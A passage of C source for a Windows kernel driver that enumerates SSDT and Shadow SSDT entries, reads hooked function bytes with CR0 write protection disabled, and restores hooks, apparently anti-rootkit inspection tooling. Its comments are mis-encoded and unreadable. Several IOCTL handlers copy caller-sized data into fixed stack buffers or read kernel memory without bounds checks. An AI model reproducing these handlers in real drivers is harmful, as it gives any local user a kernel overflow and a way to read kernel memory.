DriverObject;\r\n\tWinVersion = GetWindowsVersion();\r\n\r\n\treturn Status;\r\n}\r\n\r\n\r\n\r\n\r\nNTSTATUS\r\n\tDefaultPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp)\r\n{\r\n\tIrp->IoStatus.Information = 0;\r\n\tIrp->IoStatus.Status = STATUS_SUCCESS;\r\n\r\n\tIoCompleteRequest(Irp,IO_NO_INCREMENT);\r\n\treturn STATUS_SUCCESS;\r\n}\r\n\r\n\r\n\r\n\r\n\r\nNTSTATUS\r\n\tControlPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp)\r\n{\r\n\tNTSTATUS Status = STATUS_SUCCESS;\r\n\tPIO_STACK_LOCATION IrpSp;\r\n\tPVOID InputBuffer = NULL;\r\n\tPVOID OutputBuffer = NULL;\r\n\tULONG_PTR InputSize = 0;\r\n\tULONG_PTR OutputSize = 0;\r\n\tULONG_PTR IoControlCode = 0;\r\n\tPVOID SSSDTFunctionAddress = NULL;\r\n\tPVOID SSDTFunctionAddress = NULL;\r\n\tWCHAR\t\twzModuleName[30] = {0};\r\n\tWCHAR wzModuleName2[60] = {0};\r\n\tWCHAR wzModuleName3[60] = {0};\r\n#ifdef _WIN64\r\n\tPSYSTEM_SERVICE_TABLE64 SSSDTServiceTable = NULL;\r\n\tPSYSTEM_SERVICE_TABLE64 SSDTServiceTable = NULL;\r\n#else\r\n\tPSYSTEM_SERVICE_TABLE32 SSSDTServiceTable = NULL;\r\n\tPSYSTEM_SERVICE_TABLE32 SSDTServiceTable = NULL;\r\n#endif\r\n\r\n\tIrpSp = IoGetCurrentIrpStackLocation(Irp);\r\n\t\r\n\tIoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;\r\n\r\n\tswitch(IoControlCode)\r\n\t{\r\n\tcase IOCTL_GET_SSSDTSERVERICE://SSSDTͨmsrĴӦı־λ4c8d1dҵ֮Խ32(win7)ֽھwin7µSSSDT\r\n\t\t{ //XPҵwzKeAddSystemServiceTableĵַȻʾΪ8d88λԽ16ֽڼΪXPµSSSDT\r\n\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n#ifdef _WIN64\r\n\t\t\tSSSDTDescriptor = (ULONG_PTR)GetKeShadowServiceDescriptorTable64();\r\n#else\r\n\t\t\tSSSDTDescriptor = (ULONG_PTR)GetKeShadowServiceDescriptorTable32();\t\t\r\n#endif\r\n\t\t\tif (SSSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase IOCTL_GET_SSSDT_FUNCTIONADDRESS:\r\n\t\t{\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (SSSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n#ifdef _WIN64\r\n\t\t\t\tSSSDTFunctionAddress = GetSSSDTFunctionAddress64(*(ULONG*)InputBuffer);\r\n#else\r\n\t\t\t\tSSSDTFunctionAddress = GetSSSDTFunctionAddress32(*(ULONG*)InputBuffer);\r\n#endif\r\n\t\t\t\tif (SSSDTFunctionAddress!=NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\tmemcpy(OutputBuffer, &SSSDTFunctionAddress,sizeof(PVOID));\t\r\n\t\t\t\t\tIrp->IoStatus.Information = sizeof(PVOID);\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\tcase IOCTL_GET_MODULENAME: //SSSDT Current FuncAddress Of Module\r\n\t\t{\r\n\t\t\tData2 Data = {0};\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (InputBuffer!=NULL)\r\n\t\t\t{ \r\n\t\t\t\tData.OriginalFunctionAddress = ((pData2)InputBuffer)->OriginalFunctionAddress;\r\n\t\t\t\t//ͨǰDriverSectionöģģ\r\n\t\t\t\tif(GetSysModuleByLdrDataTable1((PVOID)Data.OriginalFunctionAddress,(WCHAR*)wzModuleName2)==TRUE)\r\n\t\t\t\t{\r\n\t\t\t\t\tmemcpy((WCHAR*)OutputBuffer,wzModuleName2,OutputSize);\r\n\t\t\t\t\tIrp->IoStatus.Information = OutputSize;\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase IOCTL_GET_SSSDT_SERVERICE_BASE://Ring3ضʱҪǰģַSSSDTƫ\r\n\t\t{\r\n/*\r\n#ifdef _WIN64\r\n\t\t\tSSSDTDescriptor = GetKeShadowServiceDescriptorTable64();\r\n\t\t\tSSSDTServiceTable = (PSYSTEM_SERVICE_TABLE64)SSSDTDescriptor;\r\n#else\r\n\t\t\tSSSDTDescriptor = GetKeShadowServiceDescriptorTable32();\r\n\t\t\tSSSDTServiceTable = (PSYSTEM_SERVICE_TABLE32)SSSDTDescriptor;\r\n#endif\r\n*/\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (SSSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n#ifdef _WIN64\r\n\t\t\tSSSDTServiceTable = (PSYSTEM_SERVICE_TABLE64)SSSDTDescriptor;\r\n#else\r\n\t\t\tSSSDTServiceTable = (PSYSTEM_SERVICE_TABLE32)SSSDTDescriptor;\r\n#endif\r\n\t\t\tmemcpy(OutputBuffer,&(SSSDTServiceTable->ServiceTableBase),sizeof(PVOID));\r\n\t\t\tIrp->IoStatus.Information = sizeof(PVOID);\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase CTL_GET_SYS_MODULE_INFOR:\r\n\t\t{\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (InputBuffer!=NULL)\r\n\t\t\t{\r\n\t\t\t\tmemcpy(wzModuleName,(WCHAR*)InputBuffer,InputSize);\r\n\t\t\t\tif(GetSysModuleByLdrDataTable((WCHAR*)wzModuleName)==TRUE)\r\n\t\t\t\t{\r\n\t\t\t\t\tDbgPrint(\"%x\\r\\n\",SysModuleBsse);\r\n\t\t\t\t\tmemcpy((PVOID)OutputBuffer,&SysModuleBsse,sizeof(PVOID));\r\n\t\t\t\t\tmemcpy(((PULONG_PTR)OutputBuffer)+1,&ulSysModuleSize,sizeof(ULONG_PTR));\r\n\t\t\t\t\tIrp->IoStatus.Information = sizeof(PVOID)+sizeof(ULONG_PTR);\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase IOCTL_GET_SSSDT_CURRENT_FUNC_CODE:\r\n\t\t{\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (SSSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\r\n#ifdef _WIN64\r\n\t\t\t\tSSSDTFunctionAddress = GetSSSDTFunctionAddress64(*(ULONG*)InputBuffer);\r\n#else\r\n\t\t\t\tSSSDTFunctionAddress = GetSSSDTFunctionAddress32(*(ULONG*)InputBuffer);\r\n#endif\r\n\t\t\t\tif (SSSDTFunctionAddress!=NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\tWPOFF();\r\n\t\t\t\t\tif(SafeCopyMemory(OutputBuffer,(VOID*)SSSDTFunctionAddress,(SIZE_T)OutputSize)==FALSE)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t\t\tWPON();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tWPON();\r\n\t\t\t\t\tIrp->IoStatus.Information = OutputSize;\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\tcase IOCTL_RESUME_SSSDT_INLINEHOOK:\r\n\t\t{\r\n\t\t\tData0 Data = {0};\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\t\t\tData.ulIndex = ((pData0)InputBuffer)->ulIndex;\r\n\t\t\tmemcpy(Data.szOriginalFunctionCode,((pData0)InputBuffer)->szOriginalFunctionCode,CODE_LENGTH);\r\n\r\n\t\t\tif (SSSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tResumeSSSDTInlineHook(Data.ulIndex,Data.szOriginalFunctionCode);\r\n\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase IOCTL_UNHOOK_SSSDT:\r\n\t\t{\r\n\t\t\tData1 Data={0};\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tData.Index = ((pData1)InputBuffer)->Index;\r\n\t\t\tData.OriginalAddress = ((pData1)InputBuffer)->OriginalAddress;\r\n\r\n\t\t\tif (SSSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n#ifdef _WIN64\r\n\t\t\t\tUnHookSSSDTWin7(Data.Index,Data.OriginalAddress);\r\n#else\r\n\t\t\t\tUnHookSSSDTWinXP(Data.Index,Data.OriginalAddress);\r\n#endif\r\n\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase IOCTL_GET_SSDTSERVERICE:\r\n\t\t{\r\n\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n#ifdef _WIN64\r\n\t\t\tSSDTDescriptor = (ULONG_PTR)GetKeServiceDescriptorTable64(); //ȡSSDT\r\n#else\r\n\t\t\tSSDTDescriptor = (ULONG_PTR)GetFunctionAddressByNameFromNtosExport(L\"KeServiceDescriptorTable\");\r\n#endif\r\n\r\n\t\t\tif (SSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\r\n\t\t\tbreak;\r\n\r\n\t\t}\r\n\tcase IOCTL_GET_SDT_FUNCTIONADDRESS://ͨúַ\r\n\t\t{\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (SSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n#ifdef _WIN64\r\n\t\t\t\t//win7SSDTַ+4*Indexƫƣƫ4λSSDTӦַ\r\n\t\t\t\tSSDTFunctionAddress = GetSSDTFunctionAddress64(*(ULONG*)InputBuffer,SSDTDescriptor);\r\n#else\r\n\t\t\t\t//XPSSDTַ+4*IndexŵļSSDTӦַ\r\n\t\t\t\tSSDTFunctionAddress = GetSSDTFunctionAddress32(*(ULONG*)InputBuffer,SSDTDescriptor);\r\n#endif\r\n\t\t\t\tif (SSDTFunctionAddress!=NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\tmemcpy(OutputBuffer, &SSDTFunctionAddress,sizeof(PVOID));\t\r\n\t\t\t\t\tIrp->IoStatus.Information = sizeof(PVOID);\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\tcase IOCTL_GET_SSDT_MODULENAME:\r\n\t\t{\r\n\t\t\tData2 Data1 = {0};\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (InputBuffer!=NULL)\r\n\t\t\t{ \r\n\t\t\t\tData1.OriginalFunctionAddress = ((pData2)InputBuffer)->OriginalFunctionAddress;\r\n\t\t\t\tif(GetSysModuleByLdrDataTable2((PVOID)Data1.OriginalFunctionAddress,(WCHAR*)wzModuleName3)==TRUE)\r\n\t\t\t\t{\r\n\t\t\t\t\tmemcpy((WCHAR*)OutputBuffer,wzModuleName3,OutputSize);\r\n\t\t\t\t\tIrp->IoStatus.Information = OutputSize;\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase IOCTL_GET_SSDT_SERVERICE_BASE:\r\n {\r\n#ifdef _WIN64\r\n\t//\tSSDTDescriptor = GetKeServiceDescriptorTable64();\r\n\t\tSSDTServiceTable = (PSYSTEM_SERVICE_TABLE64)SSDTDescriptor;\r\n#else\r\n\t//\tSSDTDescriptor = (ULONG_PTR)GetFunctionAddressByNameFromNtosExport(L\"KeServiceDescriptorTable\");\r\n\t\tSSDTServiceTable = (PSYSTEM_SERVICE_TABLE32)SSDTDescriptor;\r\n#endif\r\n\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\tif (SSDTDescriptor == 0)\r\n\t\t{\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tmemcpy(OutputBuffer,&(SSDTServiceTable->ServiceTableBase),sizeof(PVOID));\r\n\t\tIrp->IoStatus.Information = sizeof(PVOID);\r\n\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\tbreak;\r\n\t\t}\r\n\tcase CTL_GET_SSDT_SYS_MODULE_INFOR:\r\n\t\t{\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (InputBuffer!=NULL)\r\n\t\t\t{\r\n\t\t\t\tmemcpy(wzModuleName,(WCHAR*)InputBuffer,InputSize);\r\n\t\t\t\tif(GetSysModuleByLdrDataTableSSDT((WCHAR*)wzModuleName)==TRUE)\r\n\t\t\t\t{\r\n\t\t\t\t\tmemcpy((PVOID)OutputBuffer,&SysSSDTModuleBase,sizeof(PVOID));\r\n\t\t\t\t\tmemcpy(((PULONG_PTR)OutputBuffer)+1,&ulSSDTSysModuleSize,sizeof(ULONG_PTR));\r\n\r\n\t\t\t\t\tIrp->IoStatus.Information = sizeof(PVOID)+sizeof(ULONG_PTR);\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase IOCTL_GET_SSDT_CURRENT_FUNC_CODE:\r\n\t\t{\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tif (SSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n#ifdef _WIN64\r\n\t\t\t\tSSDTFunctionAddress = GetSSDTFunctionAddress64(*(ULONG*)InputBuffer,SSDTDescriptor);\r\n#else\r\n\t\t\t\tSSDTFunctionAddress = GetSSDTFunctionAddress32(*(ULONG*)InputBuffer,SSDTDescriptor);\r\n#endif\r\n\t\t\t\tif (SSDTFunctionAddress!=NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\tWPOFF();\r\n\t\t\t\t\tif(SafeCopyMemory(OutputBuffer,(VOID*)SSDTFunctionAddress,(SIZE_T)OutputSize)==FALSE)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\t\t\tWPON();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tWPON();\r\n\t\t\t\t\tIrp->IoStatus.Information = OutputSize;\r\n\t\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t break;\r\n\t\t\t}\r\n\t\t}\r\n\tcase IOCTL_RESUME_SSDT_INLINEHOOK:\r\n\t\t{\r\n\t\t\tData0 Data = {0};\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\t \tData.ulIndex = ((pData0)InputBuffer)->ulIndex;\r\n\t\t\tmemcpy(Data.szOriginalFunctionCode,((pData0)InputBuffer)->szOriginalFunctionCode,CODE_LENGTH);\r\n\r\n\t\t\tif (SSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\r\n\t\t\tResumeSSDTInlineHook(Data.ulIndex,Data.szOriginalFunctionCode);\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcase IOCTL_UNHOOK_SSDT:\r\n\t\t{\r\n\t\t\tData1 Data={0};\r\n\t\t\tInputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;\r\n\t\t\tInputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;\r\n\t\t\tOutputSize = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;\r\n\r\n\t\t\tData.Index = ((pData1)InputBuffer)->Index;\r\n\t\t\tData.OriginalAddress = ((pData1)InputBuffer)->OriginalAddress;\r\n\t\t\tif (SSDTDescriptor == 0)\r\n\t\t\t{\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t \t\tUnHookSSDT(Data.Index,Data.OriginalAddress);\r\n\t\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\t\tStatus = Irp->IoStatus.Status = STATUS_SUCCESS;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t}\r\n\tdefault:\r\n\t\t{\r\n\t\t\tIrp->IoStatus.Status = STATUS_UNSUCCESSFUL;\r\n\t\t\tIrp->IoStatus.Information = 0;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\tIoCompleteRequest(Irp,IO_NO_INCREMENT);\r\n\treturn Status;\r\n}\r\n\r\nVOID\r\nUnloadDriver(PDRIVER_OBJECT DriverObject)\r\n{\r\n\tUNICODE_STRING uniLinkName;\r\n\tPDEVICE_OBJECT CurrentDeviceObject;\r\n\tPDEVICE_OBJECT NextDeviceObject;\r\n\r\n\tRtlInitUnicodeString(&uniLinkName,LINK_NAME);\r\n\tIoDeleteSymbolicLink(&uniLinkName);\r\n\r\n\tif (DriverObject->DeviceObject!=NULL)\r\n\t{\r\n\t\tCurrentDeviceObject = DriverObject->DeviceObject;\r\n\r\n\t\twhile(CurrentDeviceObject!=NULL)\r\n\t\t{\r\n\t\t\tNextDeviceObject = CurrentDeviceObject->NextDevice;\r\n\t\t\tIoDeleteDevice(CurrentDeviceObject);\r\n\t\t\tCurrentDeviceObject = NextDeviceObject;\r\n\t\t}\r\n\t}\r\n\r\n\tDbgPrint(\"UnloadDriver\\r\\n\");\r\n}\r\n\r\n\r\n\r\n" }, { "path": "SSDT-SSSDT-Manager/EnumSSSDTManagerRing0/SSSDTManager.h", "content": "\r\n\r\n\r\n\r\n\r\n\r\n#ifndef CXX_SSSDTMANAGER_H\r\n#define CXX_SSSDTMANAGER_H\r\n\r\n\r\n\r\n#include \r\n#include \r\n#include \r\n#define SEC_IMAGE 0x01000000\r\n#define CODE_LENGTH 23\r\n\r\n#define DEVICE_NAME L\"\\\\Device\\\\SSSDTManagerDevice\"\r\n#define LINK_NAME\t L\"\\\\DosDevices\\\\SSSDTManagerLink\"\r\n\r\n\r\n//SSSDTSSDT\r\n#define IOCTL_GET_SSSDTSERVERICE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSSDT_FUNCTIONADDRESS\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSDTSERVERICE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SDT_FUNCTIONADDRESS\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n\r\n//ģ\r\n#define IOCTL_GET_MODULENAME \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x840,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSDT_MODULENAME \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x841,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n\r\n\r\n\r\n//Ring3ضʱȡǰģַ\r\n#define IOCTL_GET_SSSDT_SERVERICE_BASE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define CTL_GET_SYS_MODULE_INFOR \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n//SSDTģ\r\n#define IOCTL_GET_SSDT_SERVERICE_BASE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define CTL_GET_SSDT_SYS_MODULE_INFOR \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x832,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n\r\n\r\n\r\n\r\n//InlineHookǰԴ\r\n#define IOCTL_GET_SSSDT_CURRENT_FUNC_CODE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define IOCTL_GET_SSDT_CURRENT_FUNC_CODE\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x852, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n//ָHook\r\n#define IOCTL_UNHOOK_SSSDT \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x831,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n#define IOCTL_RESUME_SSSDT_INLINEHOOK\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n#define IOCTL_UNHOOK_SSDT \\\r\n\tCTL_CODE(FILE_DEVICE_UNKNOWN,0x850,METHOD_BUFFERED,FILE_ANY_ACCESS)\r\n#define 